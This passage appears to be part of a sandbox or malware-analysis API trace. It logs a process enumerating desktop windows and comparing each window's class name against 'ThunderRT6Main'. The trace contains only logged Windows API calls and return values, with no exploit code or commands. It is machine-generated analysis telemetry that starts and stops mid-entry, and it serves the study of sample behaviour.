| out: lpdwProcessId=0x0) returned 0x894 [0147.284] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0147.284] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.284] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.284] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0147.284] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0147.284] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0147.284] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0147.284] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0147.284] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0147.284] GetClassNameA (in: hWnd=0x10198, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.284] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.284] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0147.284] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0147.284] GetClassNameA (in: hWnd=0x10196, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0147.284] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0147.284] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0147.284] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0147.284] GetClassNameA (in: hWnd=0x10192, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0147.285] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0147.285] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0147.285] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0147.285] GetClassNameA (in: hWnd=0x10194, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.285] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.285] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0147.285] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0147.285] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0147.285] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0147.285] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0147.285] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0147.285] GetClassNameA (in: hWnd=0x10190, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.285] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.285] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0147.285] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0147.285] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0147.285] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0147.285] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0147.285] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0147.285] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.285] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.285] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0147.285] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0147.285] GetClassNameA (in: hWnd=0x10186, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0147.285] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0147.285] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0147.285] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0147.285] GetClassNameA (in: hWnd=0x10188, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.285] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.285] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0147.285] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0147.285] GetClassNameA (in: hWnd=0x10182, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0147.285] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0147.285] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0147.285] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0147.285] GetClassNameA (in: hWnd=0x10184, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.285] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.285] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0147.285] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0147.285] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0147.285] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0147.285] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0147.285] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0147.285] GetClassNameA (in: hWnd=0x10180, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.285] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.285] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0147.285] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0147.285] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0147.285] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0147.285] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0147.285] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0147.285] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.285] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.285] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0147.285] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0147.285] GetClassNameA (in: hWnd=0x10176, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0147.285] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0147.285] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0147.285] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0147.286] GetClassNameA (in: hWnd=0x10178, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.286] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.286] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0147.286] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0147.286] GetClassNameA (in: hWnd=0x10172, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0147.286] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0147.286] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0147.286] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0147.286] GetClassNameA (in: hWnd=0x10174, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.286] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.286] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0147.286] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0147.286] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0147.286] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0147.286] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0147.286] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0147.286] GetClassNameA (in: hWnd=0x10170, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.286] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.286] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0147.286] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0147.286] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0147.286] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0147.286] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0147.286] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0147.286] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.286] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.286] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0147.286] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0147.286] GetClassNameA (in: hWnd=0x10166, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0147.286] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0147.286] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0147.286] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0147.286] GetClassNameA (in: hWnd=0x10168, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.286] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.286] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0147.286] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0147.286] GetClassNameA (in: hWnd=0x10162, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0147.286] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0147.286] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0147.286] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0147.286] GetClassNameA (in: hWnd=0x10164, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.286] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.286] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0147.286] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0147.286] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0147.286] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0147.286] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0147.286] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0147.286] GetClassNameA (in: hWnd=0x10160, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.286] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.286] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0147.286] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0147.286] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0147.286] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0147.286] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0147.286] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0147.286] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.287] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.287] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0147.287] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0147.287] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0147.287] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0147.287] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0147.287] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0147.287] GetClassNameA (in: hWnd=0x20156, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.287] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.287] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0147.287] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0147.287] GetClassNameA (in: hWnd=0x50128, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0147.287] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0147.287] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0147.287] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0147.287] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.287] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.287] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0147.287] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0147.287] GetClassNameA (in: hWnd=0x20020, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0147.287] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0147.287] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0147.287] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0147.287] GetClassNameA (in: hWnd=0x20024, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.287] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.287] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0147.287] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0147.287] GetClassNameA (in: hWnd=0x20022, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0147.287] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0147.287] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0147.287] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0147.287] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.287] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.287] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0147.287] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0147.287] GetClassNameA (in: hWnd=0x20158, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0147.287] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0147.287] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0147.287] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0147.287] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0147.287] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0147.287] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0147.287] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0147.287] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0147.287] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0147.287] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0147.287] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0147.287] GetClassNameA (in: hWnd=0x20140, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0147.287] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0147.287] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0147.287] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0147.287] GetClassNameA (in: hWnd=0x10134, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0147.287] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0147.287] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0147.287] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0147.287] GetClassNameA (in: hWnd=0x10136, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.287] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.288] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0147.288] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0147.288] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0147.288] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0147.288] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0147.288] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0147.288] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.288] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.288] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0147.288] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0147.288] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0147.288] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0147.288] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0147.288] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0147.288] GetClassNameA (in: hWnd=0x20068, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.288] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.288] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0147.288] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0147.288] GetClassNameA (in: hWnd=0x20066, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0147.288] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0147.288] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0147.288] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0147.288] GetClassNameA (in: hWnd=0x10124, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0147.288] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0147.288] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0147.288] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0147.288] GetClassNameA (in: hWnd=0x10122, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0147.288] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0147.288] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0147.288] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0147.288] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0147.288] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0147.288] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0147.288] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0147.288] GetClassNameA (in: hWnd=0x10118, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0147.288] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0147.288] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0147.288] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0147.288] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.288] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.288] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.288] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0147.288] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0147.288] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0147.288] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.288] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0147.288] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0147.288] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0147.288] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.288] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0147.288] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.288] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.288] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.288] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0147.288] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.288] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.288] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.288] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0147.289] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.289] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.289] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.289] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0147.289] GetClassNameA (in: hWnd=0x100be, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0147.289] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0147.289] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.289] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0147.289] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0147.289] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0147.289] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.289] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0147.289] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0147.289] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0147.289] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0147.289] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0147.289] GetClassNameA (in: 